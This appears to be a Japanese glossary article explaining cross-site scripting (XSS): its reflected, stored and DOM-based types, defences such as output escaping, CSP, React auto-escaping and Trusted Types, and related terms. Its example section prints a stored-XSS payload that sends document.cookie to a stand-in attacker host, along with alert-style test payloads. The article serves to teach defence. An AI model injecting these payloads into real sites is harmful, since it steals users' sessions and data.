XSS
Web サイトに悪意のあるスクリプトを注入し、ユーザーの情報を盗む攻撃
XSS とは
XSS (Cross-Site Scripting) は、Web サイトに悪意のある JavaScript を注入し、ユーザーの Cookie、セッション、個人情報を盗む攻撃である。OWASP Top 10 では 2021 年版で XSS が単独項目から Injection のカテゴリへ統合され、2025 年版では A05:2025 Injection に含まれる。同カテゴリの解説は、CWE-79 (XSS) の報告 CVE が 3 万件を超えて件数では突出する一方、1 件あたりの影響度は SQL インジェクションより小さいと整理している。件数が多い理由は明快で、値を画面へ出す箇所は画面の数だけあり、1 箇所の取り残しで成立してしまう。
3 つの種類
分類の軸は、注入された値がどこを通って実行に至るかである。反射型と格納型はサーバーが返す HTML に値が混ざるため、防御をテンプレートの出力処理に置ける。DOM ベースは値がサーバーを一度も通らず、URL のフラグメント等からクライアントの JS が DOM へ書き込む型で、サーバー側の出力処理を完璧にしても防げない。被害範囲も違い、格納型は保存された 1 件が閲覧者全員へ配られるので最も広い。
| 種類 | 説明 | 例 |
|---|---|---|
| 反射型 (Reflected) | URL パラメーター経由で注入 | ?q=<script>alert(1)</script> |
| 格納型 (Stored) | DB に保存されたスクリプトが表示 | コメント欄にスクリプトを投稿 |
| DOM ベース | クライアント側の JS が DOM へ書き込む | URL のフラグメントを innerHTML へ代入 |
攻撃の例
次の 2 例は値が入ってくる経路が違う。前者は保存された投稿がそのまま HTML として出力される型、後者は URL の断片をクライアントの JS が DOM へ書き込む型で、後者はフラグメント (# 以降) がサーバーへ送られないためアクセスログに痕跡が残らない。盗まれるものも Cookie に限らず、スクリプトはログイン中の利用者として画面操作や API 呼び出しを実行できる。
<!-- 格納型 XSS: コメント欄に投稿 -->
<script>
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>
<!-- DOM ベース XSS -->
<script>
document.getElementById('output').innerHTML = location.hash.slice(1);
// URL: https://example.com/#<img src=x onerror=alert(1)>
</script>
防御策
根治にあたるのは出力時のエスケープだけで、他は被害を小さくするための多層防御である。
| 対策 | 説明 |
|---|---|
| 出力エスケープ | 出力先の文脈ごとに変換 (HTML 本文なら < → <) |
| CSP | 実行元を制限して被害を抑える緩和策 (根治ではない) |
| HttpOnly Cookie | Cookie の持ち出しを防ぐ (スクリプトの実行自体は止まらない) |
| React の自動エスケープ | JSX の子要素は自動エスケープ (守備範囲外の経路あり) |
「エスケープしておけば安全」とは言えない。同じ値でも HTML 本文 / 属性値 / JavaScript リテラル / CSS / URL で必要な変換規則が違い、規則を間違えると変換したのに突破される。さらに <script> の内側 / <style> の内側 / HTML コメントの内側 / 属性名が置かれる位置は、エスケープでは守れない文脈として OWASP が明示している。これらの位置には利用者由来の値を差し込まない設計にするのが唯一の手である。利用者に HTML そのものを書かせたい面だけ、許可する要素と属性を列挙する方式のサニタイズライブラリを通す。自作の禁止語リストは必ず回避される。
React での防御
JSX が自動でエスケープするのは、要素の子として置いた値と属性値の文字列化である。守備範囲の外が 2 つある。dangerouslySetInnerHTML は名前どおり HTML として解釈させる抜け道であり、もう 1 つはリンク先や画像の参照先へ値を差し込む経路で、javascript: で始まる文字列はエスケープ上は正しい文字列でありながら実行される。URL を受け取る箇所ではスキームを検証する。
// ✅ React は自動的にエスケープ
<p>{userInput}</p>
// userInput が "<script>alert(1)</script>" でも
// → <script>alert(1)</script> として表示
// ❌ dangerouslySetInnerHTML は XSS の危険
<div dangerouslySetInnerHTML={{ __html: userInput }} />
CSP (Content Security Policy)
CSP は、ページが読み込んで実行できるスクリプトの出所を宣言するレスポンスヘッダーである。注入そのものは止めないが、注入されたスクリプトが実行される段で落とせる。
Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com
インラインスクリプトの実行を禁止し、許可されたオリジンからのスクリプトのみ実行を許可する。
OWASP は CSP を多層防御の 1 枚として、かつアプリごとに調整して使うものと位置づけ、全社共通の 1 枚を貼って対策済みと見なす運用を明確に否定している。ブラウザーや配信構成によって効き方が変わるため、CSP があることを理由に出力側のエスケープを緩めてはいけない。
2026 年 8 月時点の状況
DOM ベース XSS については、危険な代入先 (innerHTML / eval / script.src 等) へ生の文字列を渡せなくする Trusted Types が W3C 仕様として整備され、2026 年 2 月に主要ブラウザーの最新版で揃って利用できる状態になった。CSP の require-trusted-types-for で強制し、代入できるのは開発者が定義した方針オブジェクトを通した値だけになる。既存コードの書き換えが要るため段階導入になるが、危険な代入を見落としていないか人が数える問題から、型で塞ぐ問題へ移せる点が大きい。古いブラウザーでは効かないので、出力側のエスケープを置き換えるものではない。
この記事は役に立ちましたか?
関連用語
セキュリティヘッダー
HTTP レスポンスヘッダーでブラウザーのセキュリティ機能を制御し、XSS やクリックジャッキングを防ぐ仕組み
CSP レポート
Content Security Policy 違反をブラウザーがサーバーに自動報告し、XSS やデータ漏洩を検知する仕組み
CSP
Content Security Policy の略で、Web ページで実行可能なリソースの出所を制限するセキュリティ機構
ShellScript
シェルのコマンドをまとめて自動実行するスクリプト。作業の自動化に使われる
Service Worker
ブラウザーとネットワークの間でプロキシとして動作し、オフライン対応やキャッシュ制御を実現する Web API
JSX
JavaScript 内に HTML ライクな構文を記述し、UI コンポーネントを宣言的に定義する React の拡張構文
関連する記事
チーム開発 / マネジメント本ガイド - 技術リーダーが読むべき本
チーム開発、1on1、技術マネジメントを学べる技術書の選び方を紹介。メンバー時代からマネージャーまで、段階別の読書ロードマップを解説します。
技術書の中古本 / 古本の賢い買い方 - 安く手に入れて学ぶ
技術書を中古で買うときの判断基準と注意点を解説します。中古で買っていい本と新品で買うべき本の見分け方、状態チェックのポイントも紹介します。
体系的に学ぶ 安全な Web アプリケーションの作り方 第 2 版は初版と何が違うか - 買い直し判断ガイド
通称「徳丸本」こと体系的に学ぶ 安全な Web アプリケーションの作り方 第 2 版 (2018 年) と初版 (2011 年) の違いを出版社公表の改訂内容から整理。章の削除 / 新設 / 追加点の一覧と、初版所有者が買い直すべきかの判断基準を解説します。